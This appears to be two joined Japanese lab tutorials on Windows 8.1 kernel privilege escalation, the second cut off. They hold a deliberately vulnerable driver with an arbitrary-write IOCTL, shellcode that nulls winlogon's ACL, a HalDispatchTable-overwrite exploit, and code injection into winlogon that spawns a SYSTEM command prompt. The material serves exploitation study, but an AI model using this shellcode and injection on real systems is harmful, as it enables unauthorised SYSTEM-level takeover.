; nullacls.asm .386 .model flat, stdcall .code start: pushad assume fs:nothing mov eax, fs:[124h] ; _KTHREAD mov eax, [eax+80h] ; _EPROCESS add eax, 0b8h ; _EPROCESS.ActiveProcessLinks search_process: mov eax, [eax] ; Flink cmp dword ptr [eax+0b8h], 6c6e6977h ; ImageFileName, "winl" for winlogon.exe jne search_process mov dword ptr [eax-0bch], 0 ; SecurityDescriptor popad ret end start
上のコードでは、EPROCESS構造体のImageFileNameが「winl」で始まっているものをwinlogon.exeとみなし、SecurityDescriptorをNULLに書き換える。 また、このコードが関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。
シェルコードをアセンブルし、C文字列に変換すると次のようになる。
>ml nullacls.asm /link /subsystem:console >dumpbin /rawdata nullacls.exe Microsoft (R) COFF/PE Dumper Version 14.00.23026.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file nullacls.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: 60 64 A1 24 01 00 00 8B 80 80 00 00 00 05 B8 00 `d¡$..........¸. 00401010: 00 00 8B 00 81 B8 B8 00 00 00 77 69 6E 6C 75 F2 .....¸¸...winluò 00401020: C7 80 44 FF FF FF 00 00 00 00 61 C3 Ç.Dÿÿÿ....aà Summary 1000 .text >dumpbin /rawdata nullacls.exe | powershell -ex remotesigned -f getsc.ps1 \x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x8B\x00\x81\xB8\xB8\x00\x00\x00\x77\x69\x6E\x6C\x75\xF2\xC7\x80\x44\xFF\xFF\xFF\x00\x00\x00\x00\x61\xC3
コードインジェクションで実行させるシェルコードを書いてみる
次に、コードインジェクションで実行させるシェルコードを用意する。 「Windowsで電卓を起動するシェルコードを書いてみる」を参考に、コマンドプロンプトを起動するシェルコードを書くと次のようになる。
; injectcode.asm .386 .model flat, stdcall .code start: cld jmp main api_call: assume fs:nothing pushad xor eax, eax mov eax, fs:[eax+30h] ; PEB mov eax, [eax+0ch] ; Ldr mov esi, [eax+14h] ; InMemoryOrderModuleList next_mod: lodsd ; next _LDR_DATA_TABLE_ENTRY mov [esp+1ch], eax ; store eax mov ebp, [eax+10h] ; DllBase mov eax, [ebp+3ch] ; IMAGE_DOS_HEADER.e_lfanew mov edx, [ebp+eax+78h] ; IMAGE_EXPORT_DIRECTORY add edx, ebp mov ecx, [edx+18h] ; NumberOfNames mov ebx, [edx+20h] ; AddressOfNames add ebx, ebp next_name: ; while (--NumberOfNames) jecxz name_not_found dec ecx mov esi, [ebx+ecx*4] ; ptr = AddressOfNames[NumberOfNames] add esi, ebp xor edi, edi ; hash = 0 xor eax, eax compute_hash_loop: ; while ((c = *(ptr++)) != 0) lodsb test al, al jz compare_hash ror edi, 0dh ; hash += ror(c, 0x0d) add edi, eax jmp compute_hash_loop compare_hash: cmp edi, [esp+24h] ; compare with api hash jnz next_name mov ebx, [edx+24h] ; AddressOfNameOrdinals add ebx, ebp mov cx, [ebx+ecx*2] ; y = AddressOfNameOrdinals[x] mov ebx, [edx+1ch] ; AddressOfFunctions add ebx, ebp mov eax, [ebx+ecx*4] ; AddressOfFunctions[y] add eax, ebp mov [esp+1ch], eax ; store eax popad pop ecx ; remove api hash from the stack pop edx push ecx jmp eax ; jump to api function name_not_found: mov esi, [esp+1ch] ; update eax jmp next_mod main: pushad mov ebp, esp push 00646d63h ; "cmd" mov eax, esp push 1 push eax push 0e8afe98h ; WinExec call api_call mov esp, ebp popad ret end start
上のコードはCreateRemoteThread関数により関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。
シェルコードをアセンブルし、C文字列に変換すると次のようになる。
>ml injectcode.asm /link /subsystem:console >dumpbin /rawdata injectcode.exe Microsoft (R) COFF/PE Dumper Version 14.00.23026.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file injectcode.exe File Type: EXECUTABLE IMAGE RAW DATA #1 00401000: FC EB 67 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14 üëg`3Àd.@0.@..p. 00401010: AD 89 44 24 1C 8B 68 10 8B 45 3C 8B 54 28 78 03 .D$..h..E<.T(x. 00401020: D5 8B 4A 18 8B 5A 20 03 DD E3 39 49 8B 34 8B 03 Õ.J..Z .Ýã9I.4.. 00401030: F5 33 FF 33 C0 AC 84 C0 74 07 C1 CF 0D 03 F8 EB õ3ÿ3À¬.Àt.ÁÏ..øë 00401040: F4 3B 7C 24 24 75 E2 8B 5A 24 03 DD 66 8B 0C 4B ô;|$$uâ.Z$.Ýf..K 00401050: 8B 5A 1C 03 DD 8B 04 8B 03 C5 89 44 24 1C 61 59 .Z..Ý....Å.D$.aY 00401060: 5A 51 FF E0 8B 74 24 1C EB A6 60 8B EC 68 63 6D ZQÿà.t$.ë¦`.ìhcm 00401070: 64 00 8B C4 6A 01 50 68 98 FE 8A 0E E8 82 FF FF d..Äj.Ph.þ..è.ÿÿ 00401080: FF 8B E5 61 C3 ÿ.åaà Summary 1000 .text >dumpbin /rawdata injectcode.exe | powershell -ex remotesigned -f getsc.ps1 \xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x60\x8B\xEC\x68\x63\x6D\x64\x00\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x8B\xE5\x61\xC3
エクスプロイトコードを書いてみる
「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様にHalDispatchTableの書き換えを行い、Nulling out ACLs Shellcodeの実行とコードインジェクションを行うエクスプロイトコードを書くと次のようになる。
/* exploit.c */ #include <windows.h> #include <tlhelp32.h> #include <stdio.h> #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef enum { SystemModuleInformation = 11 } SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; typedef struct { PVOID Reserved1; PVOID Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; BYTE Name[256]; } SYSTEM_MODULE, *PSYSTEM_MODULE; typedef struct { ULONG ModulesCount; SYSTEM_MODULE Modules[0]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; DWORD findPid(char *name) { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First(hProcessSnap, &pe32); do { if (_stricmp(pe32.szExeFile, name) == 0) { return pe32.th32ProcessID; } } while (Process32Next(hProcessSnap, &pe32)); return -1; } int main() { PSYSTEM_MODULE_INFORMATION moduleInfo; ULONG len; DWORD BytesReturned; ULONG dummy; HMODULE ntdll = GetModuleHandle("ntdll"); FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation"); FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile"); NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len); NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL); printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress); PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress; HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe"); PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable"); HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase; printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable); char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x8B\x00\x81\xB8\xB8\x00\x00\x00\x77\x69\x6E\x6C\x75\xF2\xC7\x80\x44\xFF\xFF\xFF\x00\x00\x00\x00\x61\xC3"; LPVOID rwxMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(rwxMemory, shellcode, sizeof(shellcode)); struct ioctl_aaw_arg arg; arg.addr = (CHAR *)HalDispatchTable + 4; arg.value = (DWORD)rwxMemory; HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); NtQueryIntervalProfile(2, &dummy); PVOID KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread"); KeGetCurrentThread = (CHAR *)KeGetCurrentThread - (CHAR *)ntoskrnl + (CHAR *)kernelBase; arg.value = (DWORD)KeGetCurrentThread; DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); CloseHandle(hDevice); char injectcode[] = "\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x60\x8B\xEC\x68\x63\x6D\x64\x00\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x8B\xE5\x61\xC3"; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, findPid("winlogon.exe")); rwxMemory = VirtualAllocEx(hProcess, NULL, sizeof(injectcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, rwxMemory, (void *)injectcode, sizeof(injectcode), NULL); CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rwxMemory, NULL, 0, NULL); CloseHandle(hProcess); return 0; }
findPid関数はCreateToolhelp32Snapshot関数を使い、引数に与えた実行ファイル名を持つプロセスのPIDを返す関数である。 コードインジェクションを行うには、VirtualAllocEx関数、WriteProcessMemory関数で対象となるプロセスに実行可能メモリを確保しコードを書き込んだ後、CreateRemoteThread関数をこのアドレスを指定して呼び出せばよい。
エクスプロイトコードをコンパイルし実行すると、コマンドプロンプトが起動し次のスクリーンショットのようになる。
whoamiコマンドの結果がnt authority\system
となっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。
関連リンク
- Easy local Windows Kernel exploitation (Black Hat USA 2012)
- Taking a Snapshot and Viewing Processes (Windows)
- Exploit Monday: Undocumented NtQuerySystemInformation Structures (Updated for Windows 8)
- MWR Labs Pwn2Own 2013 Write-up - Kernel Exploit - mwrlabs
- hacking-team-windows-kernel-lpe/PIC.c at 608a83e8005808fa5b04408a978b0b7361d67417 · vlad902/hacking-team-windows-kernel-lpe
Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる
Windowsにおいて、任意アドレス書き換え(arbitrary address write)の脆弱性があるデバイスドライバを作り、この脆弱性を利用した権限昇格をやってみる。
環境
Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015
>systeminfo OS Name: Microsoft Windows 8.1 Enterprise Evaluation OS Version: 6.3.9600 N/A Build 9600 OS Build Type: Multiprocessor Free System Type: X86-based PC Processor(s): 1 Processor(s) Installed. [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz >ml Microsoft (R) Macro Assembler Version 14.00.23026.0 >dumpbin Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
脆弱性のあるデバイスドライバを書いてみる
まず、「Windowsで簡単なデバイスドライバを書いてみる」と同様の手順で、脆弱性のあるデバイスドライバを書いてみる。
/* vulndriver.c */ #include <wdm.h> #include <windef.h> #pragma warning(disable: 4100) #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) DRIVER_INITIALIZE DriverEntry; DRIVER_UNLOAD DriverUnload; DRIVER_DISPATCH handleUnsupported; DRIVER_DISPATCH handleIOCTL; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNICODE_STRING DeviceName, DosDeviceName; PDEVICE_OBJECT DeviceObject; RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln"); RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject); IoCreateSymbolicLink(&DosDeviceName, &DeviceName); for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { DriverObject->MajorFunction[i] = handleUnsupported; } DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL; DriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; } VOID DriverUnload(PDRIVER_OBJECT DriverObject) { UNICODE_STRING DosDeviceName; RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln"); IoDeleteSymbolicLink(&DosDeviceName); IoDeleteDevice(DriverObject->DeviceObject); } NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) { return STATUS_NOT_SUPPORTED; } NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp) { PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp); DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode; PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer; struct ioctl_aaw_arg *arg; switch (ioControlCode) { case IOCTL_AAW: arg = (struct ioctl_aaw_arg *)inputBuffer; *(arg->addr) = arg->value; break; } IoCompleteRequest(Irp, IO_NO_INCREMENT); return Irp->IoStatus.Status; }
上のコードは、\\.\Vuln
というデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。
プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成したら、scコマンドを使ってこれをロードしておく。
HalDispatchTableの書き換えによるEIP奪取
任意アドレス書き換えを使い書き換える場所として、HalDispatchTableが広く知られている。 カーネルデバッグを用いて、内部APIであるNtQueryIntervalProfile関数の内容を調べてみると、次のようになる。
kd> u nt!NtQueryIntervalProfile nt!NtQueryIntervalProfile: 81b89ada 6a0c push 0Ch 81b89adc 686896a381 push offset nt!RtlpSparseBitmapCtxPrepareRanges+0x52 24 (81a39668) 81b89ae1 e8fa29deff call nt!_SEH_prolog4 (8196c4e0) 81b89ae6 64a124010000 mov eax,dword ptr fs:[00000124h] 81b89aec 8a985a010000 mov bl,byte ptr [eax+15Ah] 81b89af2 84db test bl,bl 81b89af4 741b je nt!NtQueryIntervalProfile+0x37 (81b89b11) 81b89af6 8365fc00 and dword ptr [ebp-4],0 kd> u (snip) kd> u nt!NtQueryIntervalProfile+0x3a: 81b89b14 e833000000 call nt!KeQueryIntervalProfile (81b89b4c) 81b89b19 8bc8 mov ecx,eax 81b89b1b 84db test bl,bl 81b89b1d 7421 je nt!NtQueryIntervalProfile+0x66 (81b89b40) 81b89b1f c745fc01000000 mov dword ptr [ebp-4],1 81b89b26 8b450c mov eax,dword ptr [ebp+0Ch] 81b89b29 8908 mov dword ptr [eax],ecx 81b89b2b c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh kd> u nt!KeQueryIntervalProfile nt!KeQueryIntervalProfile: 81b89b4c 8bff mov edi,edi 81b89b4e 55 push ebp 81b89b4f 8bec mov ebp,esp 81b89b51 83ec14 sub esp,14h 81b89b54 83f901 cmp ecx,1 81b89b57 7426 je nt!KeQueryIntervalProfile+0x33 (81b89b7f) 81b89b59 8d45fc lea eax,[ebp-4] 81b89b5c 894dec mov dword ptr [ebp-14h],ecx kd> u nt!KeQueryIntervalProfile+0x13: 81b89b5f 50 push eax 81b89b60 8d45ec lea eax,[ebp-14h] 81b89b63 50 push eax 81b89b64 6a10 push 10h 81b89b66 6a01 push 1 81b89b68 ff1554bfa481 call dword ptr [nt!HalDispatchTable+0x4 (81a4bf54)] 81b89b6e 85c0 test eax,eax 81b89b70 7814 js nt!KeQueryIntervalProfile+0x3a (81b89b86) kd> dps nt!HalDispatchTable 81a4bf50 00000004 81a4bf54 8184b29a hal!HaliQuerySystemInformation 81a4bf58 8184b54c hal!HalpSetSystemInformation 81a4bf5c 81bd9cda nt!xHalAllocatePmcCounterSet 81a4bf60 00000000 81a4bf64 8193b33a nt!HalExamineMBR 81a4bf68 81b955d6 nt!IoReadPartitionTable 81a4bf6c 81b883a8 nt!IoSetPartitionInformation 81a4bf70 81c7c2db nt!IoWritePartitionTable 81a4bf74 81963dde nt!xHalHandlerForBus 81a4bf78 8195d91a nt!PpmIdleDefaultCancel 81a4bf7c 8195d91a nt!PpmIdleDefaultCancel 81a4bf80 8184d456 hal!HaliInitPnpDriver 81a4bf84 8184cc78 hal!HaliInitPowerManagement 81a4bf88 8181d19a hal!HaliGetDmaAdapter 81a4bf8c 8184d2e8 hal!HaliGetInterruptTranslator 81a4bf90 81bd9d5a nt!xHalStartMirroring 81a4bf94 8195d8da nt!PoCancelDeviceNotify 81a4bf98 8195d90c nt!ext_ms_win_ntos_ksigningpolicy_l1_1_0_SeQuerySigningPolicyExt 81a4bf9c 8184d4bc hal!HalpEndOfBoot 81a4bfa0 8195d90c nt!ext_ms_win_ntos_ksigningpolicy_l1_1_0_SeQuerySigningPolicyExt 81a4bfa4 81810648 hal!HalAcpiGetTableDispatch 81a4bfa8 81821f4e hal!HaliSetPciErrorHandlerCallback 81a4bfac 00000000 81a4bfb0 00000001 81a4bfb4 00000002 81a4bfb8 819e1a28 nt!KseDsCallbackHookDriverStartIo 81a4bfbc 00000000 81a4bfc0 00000001 81a4bfc4 00000003 81a4bfc8 819e1a59 nt!KseDsCallbackHookDriverUnload 81a4bfcc 00000000
上の結果から、NtQueryIntervalProfile内でKeQueryIntervalProfileが呼ばれ、この中でnt!HalDispatchTable+0x4
にあるhal!HaliQuerySystemInformation
のポインタをcallしていることがわかる。
したがって、nt!HalDispatchTable+0x4
にあるアドレスを書き換えNtQueryIntervalProfile関数を呼ぶことで、任意のアドレスにジャンプさせることができる。
Visual Studioを起動し、テストコードを書いてみる。 プロジェクトのテンプレートは「Visual C++」→「General」→「Empty Project」を用いればよい。
/* test.c */ #include <windows.h> #include <stdio.h> #define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) typedef enum { SystemModuleInformation = 11 } SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; typedef struct { PVOID Reserved1; PVOID Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD w018; WORD NameOffset; BYTE Name[256]; } SYSTEM_MODULE, *PSYSTEM_MODULE; typedef struct { ULONG ModulesCount; SYSTEM_MODULE Modules[0]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; struct ioctl_aaw_arg { DWORD *addr; DWORD value; }; int main() { PSYSTEM_MODULE_INFORMATION moduleInfo; ULONG len; DWORD BytesReturned; ULONG dummy; HMODULE ntdll = GetModuleHandle("ntdll"); FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation"); FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile"); NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len); NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL); printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress); PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress; HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe"); PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable"); HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase; printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable); struct ioctl_aaw_arg arg; arg.addr = (CHAR *)HalDispatchTable + 4; arg.value = 0x41414141; HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL); NtQueryIntervalProfile(2, &dummy); return 0; }
上のコードにあるように、nt!HalDispatchTable
のアドレスは次のようにして計算することができる。
- NtQuerySystemInformation関数を用い、システムモジュールの情報を取得する
- 1回目の呼び出しで必要なバッファサイズを取得し、確保したメモリに対して2回目の呼び出しを行う
- 取得した情報にあるモジュールリストの0番目のデータから、ntoskrnl.exe(カーネルイメージ)がロードされているカーネルアドレスを取得する
- シンボル
nt!HalDispatchTable
はntoskrnl.exeにてエクスポートされている
- シンボル
- ユーザ空間でntoskrnl.exeをロードし、
nt!HalDispatchTable
のあるアドレスを調べる - ユーザ空間におけるntoskrnl.exeのベースアドレスから
nt!HalDispatchTable
までのオフセットをカーネルアドレスに加えることで、カーネル内での実際のアドレスを計算する
カーネルデバッグを行った状態で上のコードを実行すると、システムがクラッシュし次のような出力が得られる。
*** Fatal System Error: 0x0000001e (0xC0000005,0x41414141,0x00000008,0x41414141) Break instruction exception - code 80000003 (first chance) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. Connected to Windows 8 9600 x86 compatible target at (Tue Sep 15 21:48:54.344 20 15 (UTC + 9:00)), ptr64 FALSE Loading Kernel Symbols ............................................................... ................................................................ .................. Loading User Symbols .............. Loading unloaded module list ....... ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Use !analyze -v to get detailed debugging information. BugCheck 1E, {c0000005, 41414141, 8, 41414141} *** WARNING: Unable to verify checksum for test.exe *** ERROR: Module load completed but symbols could not be loaded for test.exe Probably caused by : ntkrpamp.exe ( nt!KiFatalExceptionHandler+1a ) Followup: MachineOwner --------- nt!RtlpBreakWithStatusInstruction: 8196ca14 cc int 3 kd>
!analyze -v
を用いて、クラッシュの原因を調べると次のようになる。
kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* KMODE_EXCEPTION_NOT_HANDLED (1e) This is a very common bugcheck. Usually the exception address pinpoints the driver/function that caused the problem. Always note this address as well as the link date of the driver/image that contains this address. Arguments: Arg1: c0000005, The exception code that was not handled Arg2: 41414141, The address that the exception occurred at Arg3: 00000008, Parameter 0 of the exception Arg4: 41414141, Parameter 1 of the exception Debugging Details: ------------------ WRITE_ADDRESS: 41414141 EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx FAULTING_IP: +65905f829693d56 41414141 ?? ??? EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 BUGCHECK_STR: 0x1E_c0000005_X DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT PROCESS_NAME: test.exe CURRENT_IRQL: 0 ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) x86fre EXCEPTION_RECORD: afac3b98 -- (.exr 0xffffffffafac3b98) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000008 Parameter[1]: 41414141 Attempt to execute non-executable address 41414141 TRAP_FRAME: afac3c74 -- (.trap 0xffffffffafac3c74) ErrCode = 00000010 eax=afac3cfc ebx=81b98a01 ecx=00000002 edx=81b98ada esi=00a0fcd0 edi=00000002 eip=41414141 esp=afac3ce8 ebp=afac3d10 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 41414141 ?? ??? Resetting default scope LAST_CONTROL_TRANSFER: from 819e8f17 to 8196ca14 STACK_TEXT: afac31e4 819e8f17 00000003 82b6a50f 00000065 nt!RtlpBreakWithStatusInstruction afac3238 819e8a31 81a7f138 afac3638 afac366c nt!KiBugCheckDebugBreak+0x1f afac360c 8196b5c6 0000001e c0000005 41414141 nt!KeBugCheck2+0x676 afac3630 8196b4fd 0000001e c0000005 41414141 nt!KiBugCheck2+0xc6 afac3650 819e6bc6 0000001e c0000005 41414141 nt!KeBugCheckEx+0x19 afac366c 819818b2 afac3b98 81a72280 afac3760 nt!KiFatalExceptionHandler+0x1a afac3690 81981884 afac3b98 81a72280 afac3760 nt!ExecuteHandler2+0x26 afac3750 818fefb9 afac3b98 afac3760 00010037 nt!ExecuteHandler+0x24 afac3b7c 8197d396 afac3b98 00000000 afac3c74 nt!KiDispatchException+0x101 afac3be8 8197fbdb 00000000 00000000 00000000 nt!KiDispatchTrapException+0x4e afac3be8 41414141 00000000 00000000 00000000 nt!KiTrap0E+0x1a7 WARNING: Frame IP not in any known module. Following frames may be wrong. afac3ce4 81b98b6e 00000001 00000010 afac3cfc 0x41414141 afac3d10 81b98b19 82b6aa73 00000002 00a0fcd0 nt!KeQueryIntervalProfile+0x22 afac3d44 8197c657 00000002 00a0fe04 00a0fe34 nt!NtQueryIntervalProfile+0x3f afac3d44 7737d370 00000002 00a0fe04 00a0fe34 nt!KiSystemServicePostCall 00a0fcbc 7737ad4a 008a1965 00000002 00a0fe04 ntdll!KiFastSystemCallRet 00a0fcc0 008a1965 00000002 00a0fe04 008a104b ntdll!NtQueryIntervalProfile+0xa 00a0fe34 008a220e 00000001 00b1d340 00b20790 exploit+0x11965 00a0fe48 008a205a 289a9fe3 008a104b 008a104b exploit+0x1220e 00a0fea0 008a1eed 00a0feb0 008a2228 00a0fec4 exploit+0x1205a 00a0fea8 008a2228 00a0fec4 74f64198 7fe46000 exploit+0x11eed 00a0feb0 74f64198 7fe46000 74f64170 5d14e2df exploit+0x12228 00a0fec4 773632d1 7fe46000 5f510ea9 00000000 KERNEL32!BaseThreadInitThunk+0x24 00a0ff0c 7736329f ffffffff 7738f08b 00000000 ntdll!__RtlUserThreadStart+0x2b 00a0ff1c 00000000 008a104b 7fe46000 00000000 ntdll!_RtlUserThreadStart+0x1b (snip)
上の結果から、実際に0x41414141にジャンプしクラッシュしていることが確認できる。
Replace Token Shellcode
Windowsでの権限昇格では、プロセスの権限を表すTokenをSystemプロセスからコピーする手法が広く知られている。
カーネルモードではfsセグメントにKPCR構造体が置かれており、この構造体から次のようにしてプロセスリストまでたどることができる。
kd> dg fs P Si Gr Pr Lo Sel Base Limit Type l ze an es ng Flags ---- -------- -------- ---------- - -- -- -- -- -------- 0030 81a70000 000047d8 Data RW Ac 0 Bg By P Nl 00000493 kd> dt _KPCR 81a70000 ntdll!_KPCR +0x000 NtTib : _NT_TIB +0x000 Used_ExceptionList : 0xb5af0924 _EXCEPTION_REGISTRATION_RECORD +0x004 Used_StackBase : (null) +0x008 MxCsr : 0x1f80 +0x00c TssCopy : 0x8279e000 Void +0x010 ContextSwitches : 0xa9cfc +0x014 SetMemberCopy : 1 +0x018 Used_Self : 0x7f08f000 Void +0x01c SelfPcr : 0x81a70000 _KPCR +0x020 Prcb : 0x81a70120 _KPRCB +0x024 Irql : 0x1f '' +0x028 IRR : 0 +0x02c IrrActive : 0 +0x030 IDR : 0 +0x034 KdVersionBlock : 0x81a44dc8 Void +0x038 IDT : 0x80bd4400 _KIDTENTRY +0x03c GDT : 0x80bd4000 _KGDTENTRY +0x040 TSS : 0x8279e000 _KTSS +0x044 MajorVersion : 1 +0x046 MinorVersion : 1 +0x048 SetMember : 1 +0x04c StallScaleFactor : 0x8f7 +0x050 SpareUnused : 0 '' +0x051 Number : 0 '' +0x052 Spare0 : 0 '' +0x053 SecondLevelCacheAssociativity : 0 '' +0x054 VdmAlert : 0 +0x058 KernelReserved : [14] 0 +0x090 SecondLevelCacheSize : 0 +0x094 HalReserved : [16] 0x1000000 +0x0d4 InterruptMode : 0 +0x0d8 Spare1 : 0 '' +0x0dc KernelReserved2 : [17] 0 +0x120 PrcbData : _KPRCB kd> dt _KPRCB 81a70000+120 ntdll!_KPRCB +0x000 MinorVersion : 1 +0x002 MajorVersion : 1 +0x004 CurrentThread : 0xb88b2740 _KTHREAD (snip) kd> dt _KTHREAD 0xb88b2740 ntdll!_KTHREAD (snip) +0x070 ApcState : _KAPC_STATE 